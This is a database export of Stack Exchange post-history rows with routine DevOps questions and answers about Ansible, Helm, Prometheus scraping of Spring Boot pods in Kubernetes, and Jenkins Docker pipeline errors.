  <row Id="32356" PostHistoryTypeId="50" PostId="8686" RevisionGUID="85a2cf68-a084-455c-8833-d246dcf3291a" CreationDate="2020-01-19T09:02:10.297" UserId="-1" />
  <row Id="32361" PostHistoryTypeId="50" PostId="9877" RevisionGUID="0d2a47ab-7a26-457a-8a59-d9a1d5e23aa2" CreationDate="2020-01-19T12:01:35.350" UserId="-1" />
  <row Id="32362" PostHistoryTypeId="2" PostId="10527" RevisionGUID="7806ede7-f0dd-41fc-8f10-a7f9cdf44022" CreationDate="2020-01-19T16:25:03.490" UserId="13111" Text="You have 2 viable options to run ansible on windows 10:&#xD;&#xA;&#xD;&#xA;* Install a linux vm with your favorite virtualization tool and run ansible inside that vm.&#xD;&#xA;* [Run ansible from WSL](https://www.jeffgeerling.com/blog/2017/using-ansible-through-windows-10s-subsystem-linux)&#xD;&#xA;&#xD;&#xA;With the first option, you will need to install vagrant inside the vm + all virtualization tools needed.&#xD;&#xA;&#xD;&#xA;With the second option, you will then need to [install vagrant in WSL as well](https://www.vagrantup.com/docs/other/wsl.html) and configure it to access your windows environment." ContentLicense="CC BY-SA 4.0" />
  <row Id="32363" PostHistoryTypeId="2" PostId="10528" RevisionGUID="21283f88-f295-4de9-bc49-7731d6dea4db" CreationDate="2020-01-19T16:53:49.580" UserId="19194" Text="Why are you adding the image tag to the pull policy? you dont need it there, just leave it like this: `imagePullPolicy: {{ .Values.image.pullPolicy }}`" ContentLicense="CC BY-SA 4.0" />
  <row Id="32375" PostHistoryTypeId="2" PostId="10532" RevisionGUID="7cdac9fd-2a4d-4589-8ce5-f53fb22f8544" CreationDate="2020-01-20T09:29:44.797" UserId="19206" Text="I have spring boot powered microservices deployed in my local kubernetes cluster. The microservices are using micrometer and prometheus registry but due to our company policy the actuator is available on another port:&#xD;&#xA;&#xD;&#xA; - 8080 for &quot;business&quot; http requests&#xD;&#xA; - 8081/manage for actuator. So, I can access `http://host:8081/manage/prometheus` and see the metrics when running the process locally (without kubernetes).&#xD;&#xA;&#xD;&#xA;Now, I'm a beginner in Prometheus and have a rather limited knowledge in kubernetes (I'm coming with a Java developer background).&#xD;&#xA;&#xD;&#xA;I've created a POD with my application and succesfully run it in kubernetes. It works and I can access it (for 8080 I've created a service to map the ports) and I can execute &quot;business&quot; level http requests it from the same PC. &#xD;&#xA;&#xD;&#xA;But I haven't find any examples of adding a prometheus into the picture. Prometheus is supposed to be deployed in the same kubernetes cluster just as another pod. So I've started with:&#xD;&#xA;&#xD;&#xA;~~~&#xD;&#xA;&#xD;&#xA;FROM @docker.registry.address@/prom/prometheus:v2.15.2&#xD;&#xA;&#xD;&#xA;COPY entrypoint.sh /&#xD;&#xA;USER root&#xD;&#xA;RUN chmod 755 /entrypoint.sh&#xD;&#xA;&#xD;&#xA;ADD ./prometheus.yml  /etc/prometheus/&#xD;&#xA;&#xD;&#xA;ENTRYPOINT [&quot;/entrypoint.sh&quot;]&#xD;&#xA;&#xD;&#xA;~~~&#xD;&#xA;&#xD;&#xA;*entrypoint.sh* looks like:&#xD;&#xA;~~~&#xD;&#xA;#!/bin/sh&#xD;&#xA;echo &quot;About to run prometheus&quot;&#xD;&#xA;/bin/prometheus --config.file=/etc/prometheus/prometheus.yml \&#xD;&#xA;                --storage.tsdb.path=/prometheus \&#xD;&#xA;                --storage.tsdb.retention.time=3d \&#xD;&#xA;                --web.console.libraries=/etc/prometheus/console_libraries \&#xD;&#xA;                --web.console.templates=/etc/prometheus/consoles&#xD;&#xA;~~~&#xD;&#xA;&#xD;&#xA;My question is about how exactly I should define `prometheus.yml` so that it will get the metrics from my spring boot pod (and other microservices that I have, all spring boot driven with the same actuator setup).&#xD;&#xA;&#xD;&#xA;I've started with (`prometheus.yml`):&#xD;&#xA;&#xD;&#xA;~~~&#xD;&#xA;global:&#xD;&#xA;  scrape_interval: 10s&#xD;&#xA;  evaluation_interval: 10s&#xD;&#xA;&#xD;&#xA;scrape_configs:&#xD;&#xA;&#xD;&#xA;  - job_name: 'prometheus'&#xD;&#xA;    metrics_path: /manage/prometheus&#xD;&#xA;    kubernetes_sd_configs:&#xD;&#xA;      - role: pod&#xD;&#xA;    bearer_token_file: /var/run/secrets/kubernetes.io/serviceaccount/token  &#xD;&#xA;    relabel_configs:&#xD;&#xA;      - source_labels: [__meta_kubernetes_pod_label_app]&#xD;&#xA;        action: keep&#xD;&#xA;        regex: sample-pod-app(.*)|another-pod-app(.*)&#xD;&#xA;&#xD;&#xA;~~~&#xD;&#xA;&#xD;&#xA;But apparently it doesn't work, so I've asking for the advices:&#xD;&#xA;&#xD;&#xA; - If someone has a working example it would be the best :)&#xD;&#xA; - Intuitively I understand I need to specify the port mapping for my `8081` port but I'm not exactly know how&#xD;&#xA; - Since prometheus is supposed to run on another port am I supposed to expose a kubernetes service for port 8081 at the kubernetes level?&#xD;&#xA; - Do I need any security related resources in kubernetes to be defined?&#xD;&#xA;&#xD;&#xA;As a side note. At this point I don't care about scalability issues, I believe one prometheus server will do the job, but I'll have to add Grafana into the picture.&#xD;&#xA;&#xD;&#xA;P.S. Originally asked this question on [SO][1] but was suggested to ask this here as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/59819316/using-prometheus-to-monitor-spring-boot-applications-in-kubernetes-cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="32376" PostHistoryTypeId="1" PostId="10532" RevisionGUID="7cdac9fd-2a4d-4589-8ce5-f53fb22f8544" CreationDate="2020-01-20T09:29:44.797" UserId="19206" Text="Using Prometheus to monitor Spring Boot Applications in Kubernetes Cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="32377" PostHistoryTypeId="3" PostId="10532" RevisionGUID="7cdac9fd-2a4d-4589-8ce5-f53fb22f8544" CreationDate="2020-01-20T09:29:44.797" UserId="19206" Text="&lt;kubernetes&gt;&lt;prometheus&gt;&lt;java&gt;&lt;spring-boot&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32378" PostHistoryTypeId="5" PostId="10532" RevisionGUID="8767f715-484d-4fab-ae55-55b6f866d87e" CreationDate="2020-01-20T10:02:34.510" UserId="354" Comment="minor grammar and formatting" Text="I have spring boot powered microservices deployed in my local kubernetes cluster. The microservices are using micrometer and prometheus registry but due to our company policy the actuator is available on another port:&#xD;&#xA;&#xD;&#xA; - 8080 for &quot;business&quot; http requests&#xD;&#xA; - 8081/manage for actuator. So, I can access `http://host:8081/manage/prometheus` and see the metrics when running the process locally (without kubernetes).&#xD;&#xA;&#xD;&#xA;Now, I'm a beginner in Prometheus and have a rather limited knowledge in kubernetes (I'm coming with a Java developer background).&#xD;&#xA;&#xD;&#xA;I've created a POD with my application and succesfully run it in kubernetes. It works and I can access it (for 8080 I've created a service to map the ports) and I can execute &quot;business&quot; level http requests it from the same PC. &#xD;&#xA;&#xD;&#xA;But I haven't find any examples of adding a prometheus into the picture. Prometheus is supposed to be deployed in the same kubernetes cluster just as another pod. So I've started with:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;FROM @docker.registry.address@/prom/prometheus:v2.15.2&#xD;&#xA;&#xD;&#xA;COPY entrypoint.sh /&#xD;&#xA;USER root&#xD;&#xA;RUN chmod 755 /entrypoint.sh&#xD;&#xA;&#xD;&#xA;ADD ./prometheus.yml  /etc/prometheus/&#xD;&#xA;&#xD;&#xA;ENTRYPOINT [&quot;/entrypoint.sh&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;*`entrypoint.sh`* looks like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;#!/bin/sh&#xD;&#xA;echo &quot;About to run prometheus&quot;&#xD;&#xA;/bin/prometheus --config.file=/etc/prometheus/prometheus.yml \&#xD;&#xA;                --storage.tsdb.path=/prometheus \&#xD;&#xA;                --storage.tsdb.retention.time=3d \&#xD;&#xA;                --web.console.libraries=/etc/prometheus/console_libraries \&#xD;&#xA;                --web.console.templates=/etc/prometheus/consoles&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;My question is about how exactly I should define `prometheus.yml` so that it will get the metrics from my spring boot pod (and other microservices that I have, all spring boot driven with the same actuator setup).&#xD;&#xA;&#xD;&#xA;I've started with (`prometheus.yml`):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;global:&#xD;&#xA;  scrape_interval: 10s&#xD;&#xA;  evaluation_interval: 10s&#xD;&#xA;&#xD;&#xA;scrape_configs:&#xD;&#xA;&#xD;&#xA;  - job_name: 'prometheus'&#xD;&#xA;    metrics_path: /manage/prometheus&#xD;&#xA;    kubernetes_sd_configs:&#xD;&#xA;      - role: pod&#xD;&#xA;    bearer_token_file: /var/run/secrets/kubernetes.io/serviceaccount/token  &#xD;&#xA;    relabel_configs:&#xD;&#xA;      - source_labels: [__meta_kubernetes_pod_label_app]&#xD;&#xA;        action: keep&#xD;&#xA;        regex: sample-pod-app(.*)|another-pod-app(.*)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But apparently it doesn't work, so I've asking for the advices:&#xD;&#xA;&#xD;&#xA; - If someone has a working example it would be the best :)&#xD;&#xA; - Intuitively I understand I need to specify the port mapping for my `8081` port but I'm not exactly know how&#xD;&#xA; - Since prometheus is supposed to run on another port, am I supposed to expose a kubernetes service for port 8081 at the kubernetes level?&#xD;&#xA; - Do I need any security related resources in kubernetes to be defined?&#xD;&#xA;&#xD;&#xA;As a side note, at this point I don't care about scalability issues, I believe one prometheus server will do the job, but I'll have to add Grafana into the picture.&#xD;&#xA;&#xD;&#xA;P.S. Originally asked this question on [SO][1] but was suggested to ask this here as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/59819316/using-prometheus-to-monitor-spring-boot-applications-in-kubernetes-cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="32384" PostHistoryTypeId="2" PostId="10534" RevisionGUID="e74e821c-05d6-49ca-9ea9-71c3f2a3299d" CreationDate="2020-01-20T12:59:02.433" UserId="19211" Text="I have jenkins deployed via helm charts on kubernetes cluster&#xD;&#xA;Now i want to be able to run helm to deploy helm charts applications on my kubernetes cluster and have the following in my jenkinsfile&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;            docker { image 'alpine/helm' }&#xD;&#xA;        }&#xD;&#xA;        stages {&#xD;&#xA;            stage('Deploy') {&#xD;&#xA;                steps {&#xD;&#xA;                    sh 'helm ls'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I also get kubernetes authentication setup on my jenkins so connection to cluster is fine but the error am getting now is the following&#xD;&#xA;&#xD;&#xA;    + docker inspect -f . alpine/helm&#xD;&#xA;    &#xD;&#xA;    Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.38/containers/alpine/helm/json: dial unix /var/run/docker.sock: connect: permission denied&#xD;&#xA;    [Pipeline] isUnix&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    + docker pull alpine/helm&#xD;&#xA;    Using default tag: latest&#xD;&#xA;    Warning: failed to get default registry endpoint from daemon (Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.38/info: dial unix /var/run/docker.sock: connect: permission denied). Using system default: https://index.docker.io/v1/&#xD;&#xA;    Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post http://%2Fvar%2Frun%2Fdocker.sock/v1.38/images/create?fromImage=alpine%2Fhelm&amp;tag=latest: dial unix /var/run/docker.sock: connect: permission denied&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // withEnv&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] End of Pipeline&#xD;&#xA;    ERROR: script returned exit code 1&#xD;&#xA;    Finished: FAILURE&#xD;&#xA;&#xD;&#xA;What am i missing and how to i get out of this error?&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="32385" PostHistoryTypeId="1" PostId="10534" RevisionGUID="e74e821c-05d6-49ca-9ea9-71c3f2a3299d" CreationDate="2020-01-20T12:59:02.433" UserId="19211" Text="Getting permission denied with docker pipeline on jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="32386" PostHistoryTypeId="3" PostId="10534" RevisionGUID="e74e821c-05d6-49ca-9ea9-71c3f2a3299d" CreationDate="2020-01-20T12:59:02.433" UserId="19211" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;jenkinsfile&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32387" PostHistoryTypeId="2" PostId="10535" RevisionGUID="916ca0c6-e034-4eaa-8d72-035196811bed" CreationDate="2020-01-20T13:08:25.250" UserId="16683" Text="You need to add the `jenkins` user to the `docker` group:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;# run the following command as root&#xD;&#xA;usermod -aG docker jenkins&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="32391" PostHistoryTypeId="5" PostId="10534" RevisionGUID="51c86a93-27dc-432e-8944-fe8dd67db2d1" CreationDate="2020-01-20T14:21:51.763" UserId="19211" Comment="added 1758 characters in body" Text="I have jenkins deployed via helm charts on kubernetes cluster&#xD;&#xA;Now i want to be able to run helm to deploy helm charts applications on my kubernetes cluster and have the following in my jenkinsfile&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;            docker { image 'alpine/helm' }&#xD;&#xA;        }&#xD;&#xA;        stages {&#xD;&#xA;            stage('Deploy') {&#xD;&#xA;                steps {&#xD;&#xA;                    sh 'helm ls'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I also get kubernetes authentication setup on my jenkins so connection to cluster is fine but the error am getting now is the following&#xD;&#xA;&#xD;&#xA;    + docker inspect -f . alpine/helm&#xD;&#xA;    &#xD;&#xA;    Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.38/containers/alpine/helm/json: dial unix /var/run/docker.sock: connect: permission denied&#xD;&#xA;    [Pipeline] isUnix&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    + docker pull alpine/helm&#xD;&#xA;    Using default tag: latest&#xD;&#xA;    Warning: failed to get default registry endpoint from daemon (Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.38/info: dial unix /var/run/docker.sock: connect: permission denied). Using system default: https://index.docker.io/v1/&#xD;&#xA;    Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post http://%2Fvar%2Frun%2Fdocker.sock/v1.38/images/create?fromImage=alpine%2Fhelm&amp;tag=latest: dial unix /var/run/docker.sock: connect: permission denied&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // withEnv&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] End of Pipeline&#xD;&#xA;    ERROR: script returned exit code 1&#xD;&#xA;    Finished: FAILURE&#xD;&#xA;&#xD;&#xA;What am i missing and how to i get out of this error?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;&#xD;&#xA;below are the additions/changes to default values.yaml file of the `stable/jenkins` helm chart&#xD;&#xA;&#xD;&#xA;    agent:&#xD;&#xA;      enabled: true&#xD;&#xA;      image: &quot;joao29a/jnlp-slave-alpine-docker&quot;&#xD;&#xA;      tag: &quot;latest&quot;&#xD;&#xA;      customJenkinsLabels: []&#xD;&#xA;      # name of the secret to be used for image pulling&#xD;&#xA;      imagePullSecretName:&#xD;&#xA;      componentName: &quot;jenkins-slave&quot;&#xD;&#xA;      #privileged: false&#xD;&#xA;      privileged: true&#xD;&#xA;    &#xD;&#xA;      resources:&#xD;&#xA;        requests:&#xD;&#xA;          cpu: &quot;512m&quot;&#xD;&#xA;          memory: &quot;512Mi&quot;&#xD;&#xA;        limits:&#xD;&#xA;          cpu: &quot;512m&quot;&#xD;&#xA;          memory: &quot;512Mi&quot;&#xD;&#xA;      # You may want to change this to true while testing a new image&#xD;&#xA;      alwaysPullImage: false&#xD;&#xA;      # Controls how agent pods are retained after the Jenkins build completes&#xD;&#xA;      # Possible values: Always, Never, OnFailure&#xD;&#xA;      podRetention: &quot;Never&quot;&#xD;&#xA;      # You can define the volumes that you want to mount for this container&#xD;&#xA;      # Allowed types are: ConfigMap, EmptyDir, HostPath, Nfs, Pod, Secret&#xD;&#xA;      # Configure the attributes as they appear in the corresponding Java class for that type&#xD;&#xA;      # https://github.com/jenkinsci/kubernetes-plugin/tree/master/src/main/java/org/csanchez/jenkins/plugins/kubernetes/volumes&#xD;&#xA;      # Pod-wide ennvironment, these vars are visible to any container in the agent pod&#xD;&#xA;      envVars: []&#xD;&#xA;      # - name: PATH&#xD;&#xA;      #   value: /usr/local/bin&#xD;&#xA;      volumes:&#xD;&#xA;      # - type: Secret&#xD;&#xA;      #   secretName: mysecret&#xD;&#xA;      #   mountPath: /var/myapp/mysecret&#xD;&#xA;       - type: HostPath&#xD;&#xA;         hostpath: /var/run/docker.sock&#xD;&#xA;         mountPath: /var/run/docker.sock&#xD;&#xA;&#xD;&#xA;everything else pretty much same except for ingress hostnames and admin user password...above is most important modification to default values.yaml file" ContentLicense="CC BY-SA 4.0" />
  <row Id="32399" PostHistoryTypeId="2" PostId="10539" RevisionGUID="4b634058-ae53-4859-9014-c607ee863b13" CreationDate="2020-01-20T20:50:57.373" UserId="19224" Text="I'm trying to pull out the &quot;uuid&quot; from facts returned by ansible's vmware_vm_facts module. There is a solution to a similar question [posted on Reddit][1], but when I try that, it fails with &#xD;&#xA;'ansible.utils.unsafe_proxy.AnsibleUnsafeText object' has no attribute 'ip_address'&#xD;&#xA;&#xD;&#xA;Here is my code:&#xD;&#xA;&#xD;&#xA;      - name: Test vmware_vm_facts&#xD;&#xA;        vmware_vm_facts:&#xD;&#xA;          hostname: &quot;{{ vcenter_hostname }}&quot;&#xD;&#xA;          username: &quot;{{ vcenter_username }}&quot;&#xD;&#xA;          password: &quot;{{ vcenter_password }}&quot;&#xD;&#xA;          validate_certs: no&#xD;&#xA;        delegate_to: localhost&#xD;&#xA;        register: rc&#xD;&#xA;&#xD;&#xA;      - name: Debug...&#xD;&#xA;        debug:&#xD;&#xA;          msg: &quot;IP of {{ item.key }} is {{ item.value.ip_address }}and power is {{ item.value.power_state }}&quot;&#xD;&#xA;        with_dict: &quot;{{ rc.virtual_machines }}&quot;&#xD;&#xA;&#xD;&#xA;Anyone have any ideas?&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;  [1]: https://www.reddit.com/r/ansible/comments/6wfu4d/filter_vmware_vm_facts/" ContentLicense="CC BY-SA 4.0" />
  <row Id="32400" PostHistoryTypeId="1" PostId="10539" RevisionGUID="4b634058-ae53-4859-9014-c607ee863b13" CreationDate="2020-01-20T20:50:57.373" UserId="19224" Text="How to filter vmware_vm_facts" ContentLicense="CC BY-SA 4.0" />
  <row Id="32401" PostHistoryTypeId="3" PostId="10539" RevisionGUID="4b634058-ae53-4859-9014-c607ee863b13" CreationDate="2020-01-20T20:50:57.373" UserId="19224" Text="&lt;ansible&gt;&lt;vmware&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32409" PostHistoryTypeId="2" PostId="10540" RevisionGUID="546f6aba-9eff-4bfe-a24a-225950ea437d" CreationDate="2020-01-21T08:32:49.623" UserId="19211" Text="I am trying to setup a pipeline on jenkins that uses docker containers to execute tasks like for example deploy an helm charts using a docker image with helm &#xD;&#xA;&#xD;&#xA;here is what my **Jenkinsfile** looks like&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent none&#xD;&#xA;        stages {&#xD;&#xA;            stage('Helm') {&#xD;&#xA;                agent {&#xD;&#xA;                    docker { image 'dtzar/helm-kubectl' }&#xD;&#xA;                }&#xD;&#xA;                steps {&#xD;&#xA;                    sh '''&#xD;&#xA;                    helm version&#xD;&#xA;                    kubectl version&#xD;&#xA;                    helm ls&#xD;&#xA;                    kubectl get all -n test&#xD;&#xA;                    '''&#xD;&#xA;    &#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;but it fails at the `helm ls` line because it can not connect to the kubernetes cluster.&#xD;&#xA;How do i connect this pipeline to use the **Kubernetes configuration(kubeconfig)** i have setup&#xD;&#xA;&#xD;&#xA;here is error am getting&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    + helm ls&#xD;&#xA;    Error: Kubernetes cluster unreachable&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I could not find any documentation on how to connect docker pipeline to connect to the kubernetes cluster&#xD;&#xA;What do i add to the Jenkinsfile to be able to connect?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32410" PostHistoryTypeId="1" PostId="10540" RevisionGUID="546f6aba-9eff-4bfe-a24a-225950ea437d" CreationDate="2020-01-21T08:32:49.623" UserId="19211" Text="How do i connect docker pipeline on jenkins to kubernetes cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="32411" PostHistoryTypeId="3" PostId="10540" RevisionGUID="546f6aba-9eff-4bfe-a24a-225950ea437d" CreationDate="2020-01-21T08:32:49.623" UserId="19211" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;kubernetes&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32413" PostHistoryTypeId="2" PostId="10541" RevisionGUID="380acfc0-eea3-4eb1-99d4-c0f0fda1079b" CreationDate="2020-01-21T12:43:54.037" UserId="18007" Text="We have the monitoring-plugin installed:&#xD;&#xA;monitoring-plugin GIT][1]&#xD;&#xA;&#xD;&#xA;is there a way to give only view permissions once it is installed?&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/monitoring-plugin&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32414" PostHistoryTypeId="1" PostId="10541" RevisionGUID="380acfc0-eea3-4eb1-99d4-c0f0fda1079b" CreationDate="2020-01-21T12:43:54.037" UserId="18007" Text="Is it possible to give only view permission for Jenkins monitoring-plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="32415" PostHistoryTypeId="3" PostId="10541" RevisionGUID="380acfc0-eea3-4eb1-99d4-c0f0fda1079b" CreationDate="2020-01-21T12:43:54.037" UserId="18007" Text="&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32416" PostHistoryTypeId="2" PostId="10542" RevisionGUID="d18aff21-fe53-40da-9198-9dbdf99f7554" CreationDate="2020-01-21T14:27:44.310" UserId="2494" Text="How do I go through all hosts in an Ansible inventory in serial with an Ansible ad-hoc and reboot servers with a specified number of seconds in between each reboot?&#xD;&#xA;&#xD;&#xA;I am looking for something similar to:&#xD;&#xA;`ansible -i inventory nodes -a &quot;/sbin/reboot&quot;` &#xD;&#xA;&#xD;&#xA;It should have a pause and run in serial." ContentLicense="CC BY-SA 4.0" />
  <row Id="32417" PostHistoryTypeId="1" PostId="10542" RevisionGUID="d18aff21-fe53-40da-9198-9dbdf99f7554" CreationDate="2020-01-21T14:27:44.310" UserId="2494" Text="Ansible ad-hoc command to reboot servers in serial with a pause" ContentLicense="CC BY-SA 4.0" />
  <row Id="32418" PostHistoryTypeId="3" PostId="10542" RevisionGUID="d18aff21-fe53-40da-9198-9dbdf99f7554" CreationDate="2020-01-21T14:27:44.310" UserId="2494" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32422" PostHistoryTypeId="5" PostId="10541" RevisionGUID="29ff51aa-49c2-45e4-929a-9357e4bfa8d5" CreationDate="2020-01-21T14:30:25.553" UserId="18007" Comment="deleted 1 character in body" Text="We have the monitoring-plugin installed:&#xD;&#xA;https://github.com/jenkinsci/monitoring-plugin&#xD;&#xA;&#xD;&#xA;is there a way to give only view permissions once it is installed?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32423" PostHistoryTypeId="2" PostId="10544" RevisionGUID="03b56391-0347-49f4-bac7-bb711d47af11" CreationDate="2020-01-21T19:06:20.673" UserId="9148" Text="I think this *might* be as easy as adding a sleep with the value of seconds you'd like to wait before rebooting. Also, since Ansible runs in parallel by default, we'll have to specify that we only want it to run as one process (what Ansible calls forks) instead of the default of 5. So, like this:&#xD;&#xA;&#xD;&#xA;    ansible -i inventory nodes -a &quot;sleep 30 &amp;&amp; /sbin/reboot&quot; -f 1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32424" PostHistoryTypeId="2" PostId="10545" RevisionGUID="098c7940-2769-4599-b80b-4251a999ec05" CreationDate="2020-01-21T19:36:44.567" UserId="9148" Text="You might have better luck finding answers to your questions if you use the more standard term of &quot;containerization&quot;. &#xD;&#xA;&#xD;&#xA;[This article](https://www.mirantis.com/blog/containers-vs-vms-eternal-debate/) discusses containerization as well as some pros and cons you might want to consider." ContentLicense="CC BY-SA 4.0" />
  <row Id="32425" PostHistoryTypeId="2" PostId="10546" RevisionGUID="149f69d3-ecbd-4c73-a4ce-c345a47ded43" CreationDate="2020-01-21T22:42:56.963" UserId="13111" Text="@Argyle explained the `--fork 1` trick to achieve a serial run.&#xD;&#xA;&#xD;&#xA;I suggest you have a look at the [`reboot` module](https://docs.ansible.com/ansible/latest/modules/reboot_module.html) that might be better suited than running a command directly. &#xD;&#xA;&#xD;&#xA;A quick example that will reboot all your nodes one by one waiting for each to be fully booted before moving to the next one.&#xD;&#xA;```&#xD;&#xA;ansible -i inventory nodes --forks 1 -m reboot &#xD;&#xA;```&#xD;&#xA;Pass needed parameters to the module depending on your requirements with the `-a` option." ContentLicense="CC BY-SA 4.0" />
  <row Id="32432" PostHistoryTypeId="5" PostId="10540" RevisionGUID="1f21fa7d-1425-4567-a5c6-69ef4c827236" CreationDate="2020-01-22T03:10:05.180" UserId="19211" Comment="added 864 characters in body" Text="I am trying to setup a pipeline on jenkins that uses docker containers to execute tasks like for example deploy an helm charts using a docker image with helm &#xD;&#xA;&#xD;&#xA;here is what my **Jenkinsfile** looks like&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent none&#xD;&#xA;        stages {&#xD;&#xA;            stage('Helm') {&#xD;&#xA;                agent {&#xD;&#xA;                    docker { image 'dtzar/helm-kubectl' }&#xD;&#xA;                }&#xD;&#xA;                steps {&#xD;&#xA;                    sh '''&#xD;&#xA;                    helm version&#xD;&#xA;                    kubectl version&#xD;&#xA;                    helm ls&#xD;&#xA;                    kubectl get all -n test&#xD;&#xA;                    '''&#xD;&#xA;    &#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;but it fails at the `helm ls` line because it can not connect to the kubernetes cluster.&#xD;&#xA;How do i connect this pipeline to use the **Kubernetes configuration(kubeconfig)** i have setup&#xD;&#xA;&#xD;&#xA;here is error am getting&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    + helm ls&#xD;&#xA;    Error: Kubernetes cluster unreachable&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I could not find any documentation on how to connect docker pipeline to connect to the kubernetes cluster&#xD;&#xA;What do i add to the Jenkinsfile to be able to connect?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; **UPDATE**&#xD;&#xA;&#xD;&#xA;i also tried this&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent none&#xD;&#xA;        stages {&#xD;&#xA;            stage('Helm') {&#xD;&#xA;                agent {&#xD;&#xA;                    docker { image 'dtzar/helm-kubectl' }&#xD;&#xA;                }&#xD;&#xA;                steps {&#xD;&#xA;                  withCredentials([kubeconfigContent(credentialsId: 'k8s-cluster', variable: 'KUBECONFIG_CONTENT')]) {&#xD;&#xA;                    sh '''&#xD;&#xA;                    helm version&#xD;&#xA;                    helm ls&#xD;&#xA;                    kubectl get all -n test&#xD;&#xA;                    '''&#xD;&#xA;                  }&#xD;&#xA;    &#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and got this error&#xD;&#xA;&#xD;&#xA;    + helm ls&#xD;&#xA;    Error: Kubernetes cluster unreachable&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I could not find any documentation on how to connect docker pipeline to connect to the kubernetes cluster&#xD;&#xA;&#xD;&#xA;What do i add to the Jenkinsfile to be able to connect?&#xD;&#xA;&#xD;&#xA;so seems the docker container is unable to resolve the dns of the kubernetes cluster&#xD;&#xA;&#xD;&#xA;how do i resolve this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32438" PostHistoryTypeId="50" PostId="9567" RevisionGUID="cc201859-90a5-4726-b69c-72c6f3de44cd" CreationDate="2020-01-22T10:01:05.580" UserId="-1" />
